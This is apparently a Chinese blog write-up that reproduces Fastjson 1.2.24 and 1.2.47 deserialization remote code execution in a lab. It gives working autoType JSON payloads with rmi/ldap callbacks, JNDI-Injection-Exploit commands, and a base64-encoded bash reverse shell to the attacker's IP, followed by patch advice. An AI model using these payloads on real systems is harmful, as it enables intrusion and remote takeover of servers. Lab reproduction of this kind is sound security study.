FastJson 漏洞复现

文章目录

  • [FastJson 漏洞复现](#FastJson 漏洞复现)
    • [1. FastJson 1.2.24 反序列化导致任意命令执行漏洞](#1. FastJson 1.2.24 反序列化导致任意命令执行漏洞)
      • [1.1 漏洞描述](#1.1 漏洞描述)
      • [1.2 漏洞原理](#1.2 漏洞原理)
      • [1.3 漏洞复现](#1.3 漏洞复现)
        • [1.3.1 环境启动](#1.3.1 环境启动)
        • [1.3.2 漏洞检测](#1.3.2 漏洞检测)
        • [1.3.3 漏洞验证](#1.3.3 漏洞验证)
      • [1.4 漏洞利用](#1.4 漏洞利用)
      • [1.5 修复方案](#1.5 修复方案)
    • [2. Fastjson 1.2.47 远程命令执行漏洞](#2. Fastjson 1.2.47 远程命令执行漏洞)
      • [2.1 漏洞描述](#2.1 漏洞描述)
      • [2.2 漏洞复现](#2.2 漏洞复现)
        • [2.2.1 环境启动](#2.2.1 环境启动)
        • [2.2.2 漏洞检测](#2.2.2 漏洞检测)
        • [2.2.3 漏洞验证](#2.2.3 漏洞验证)
      • [2.3 漏洞利用](#2.3 漏洞利用)
      • [2.4 修复方案](#2.4 修复方案)

FastJson 漏洞复现

1. FastJson 1.2.24 反序列化导致任意命令执行漏洞

链接地址:Fastjson 1.2.24 反序列化导致任意命令执行漏洞

1.1 漏洞描述

说明 内容
漏洞编号 CVE-2017-18349
漏洞名称 fastjson 1.2.24 反序列化导致任意命令执行漏洞
漏洞评级 高危
影响范围 1.2.24
漏洞描述 fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
修复方案 打补丁,上设备,升级组件

具体描述

​ FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。

​ 关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

1.2 漏洞原理

攻击者访问存在fastjson漏洞的目标靶机,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetlmpl 恶意信息发送给目标机。

存在漏洞的目标靶机对json反序列化的时候,会执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行命令。

rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(创建文件、反弹shell等)

rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。

靶机执行了恶意代码,被攻击者成功利用。

1.3 漏洞复现

1.3.1 环境启动

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。

使用bp抓取数据包

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

先转换为POST请求

然后发送一个JSON数据

json 复制代码
{"name":"wuhu", "age":20}

如果直接发送会报500错误,需要将Content-Type类型修改为JSON格式

重新放包即可。

这里就是提交一个JSON格式的数据到服务器后转换为对象,然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。

  • JSON-->Object-->JSON

1.3.2 漏洞检测

可以使用BurpSuite扩展:Maskhe/FastjsonScan: 一个简单的Fastjson反序列化检测burp插件 (github.com)

sh 复制代码
proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar

下载成功后,在BP中添加插件即可。

然后将数据包发送到插件

正在扫描

扫描成功,发现漏洞,然后会生成一个POC。

将生成的POC拷贝到我们之前抓取的数据包中。

json 复制代码
{
    "handsome":{
        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
        "dataSourceName":"rmi://p1rgv81zmbf1ogymvoqrw59dj4pudj.oastify.com/aaa",
        "autoCommit":true
     }
}

RMI概述:Java RMI(Java Remote Method Invocation),Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网络上的不同计算机中。

在网络传输的过程中。RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收经过序列化编码的对象后会进行反序列化。因此,可以将RMI服务作为进行反序列化利用链的触发点。

1.3.3 漏洞验证

使用JNDI-Injection-Exploit工具,链接地址JNDI-Injection-Exploit/README-CN.md at master · welk1n/JNDI-Injection-Exploit (github.com)

开启RMI服务器

使用方法:

sh 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"

1.4 漏洞利用

开启服务器,将之前构造的反弹Shell在 -C 后面的参数进行替换即可。

sh 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"

kali监听9999端口

复制到指定位置,然后放包即可

ldap://192.168.188.185:1389/1cmhtr

监听成功

1.5 修复方案

修复 Fastjson 1.2.24 反序列化漏洞的最佳方法是将 Fastjson 更新到修复此漏洞的最新版本。Fastjson 团队已经修复了此漏洞,并提供了补丁程序或更新版本。因此,建议立即更新 Fastjson 到最新修复版本,以确保应用程序不再受到此漏洞的影响。此外,还应采取其他防护措施,如输入验证、过滤和限制反序列化能力,以提高应用程序的安全性。

2. Fastjson 1.2.47 远程命令执行漏洞

链接地址:Fastjson 1.2.47 远程命令执行漏洞

2.1 漏洞描述

说明 内容
漏洞编号
漏洞名称 Fastjson 1.2.47 远程命令执行漏洞
漏洞评级 高危
影响范围 1.2.47以及之前的所有版本
漏洞描述 Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
修复方案 打补丁,上设备,升级组件

具体描述

Fastjson提供了autotype功能,允许用户在反序列化数据中通过"@type"指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的"Gadget"),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

2.2 漏洞复现

2.2.1 环境启动

环境启动后,访问http://your-ip:8090即可看到一个json对象被返回

使用bp抓取数据包

将content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析。

2.2.2 漏洞检测

将生成POC拷贝到抓取的数据包中。

json 复制代码
{
    "axin":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "is":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
        "autoCommit":true
    }
}

2.2.3 漏洞验证

开启RMI服务器

使用方法:

sh 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"

使用JDK 1.8中的ldap

json 复制代码
ldap://192.168.188.185:1389/asdqfh

查看tmp目录下是否有我们创建的wuhu文件。

通过查看后发现文件创建成功,证明漏洞存在。

2.3 漏洞利用

构造反弹Shell命令

sh 复制代码
bash -i >& /dev/tcp/192.168.188.185/8888 0>&1	# 将该命令做一个base64编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

开启服务器,将之前构造的反弹Shell在 -C 后面的参数进行替换即可。

sh 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"

同时kail监听8888端口

将ldap复制到指定位置,然后放包即可

json 复制代码
ldap://192.168.188.185:1389/wslvmi

反弹成功

2.4 修复方案

  1. 升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
  2. WAF拦截过滤请求包中的 @type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type等多种编码的autotype变形
  3. 最少升级到1.2.48以上版本且关闭autotype选项
相关推荐
fpcc10 分钟前
c++应用网络编程之十五Nagle算法
网络·c++
网络安全King1 小时前
[网络安全系列面试题] GET 和 POST 的区别在哪里?
网络·安全·web安全
KeyBordkiller1 小时前
PVE相关名词通俗表述方式———多处细节实验(方便理解)
linux·服务器·网络
网络安全Ash1 小时前
企业网络安全之OPENVPN
开发语言·网络·php
Deca~1 小时前
《网络是怎样连接的》整体的总结
网络
scoone1 小时前
解决Ubuntu 22.04系统中网络Ping问题的方法
linux·网络
我是唐青枫2 小时前
Linux firewalld 命令详解
linux·运维·网络
贺椿椿2 小时前
ensp静态路由实验
linux·网络·智能路由器
网工菜鸡互啄2 小时前
非协议默认端口的:NAT alg需配置port-mapping
网络
桃始笑叶始泪2 小时前
HTTP中GET和POST的区别是什么?
网络·网络协议·http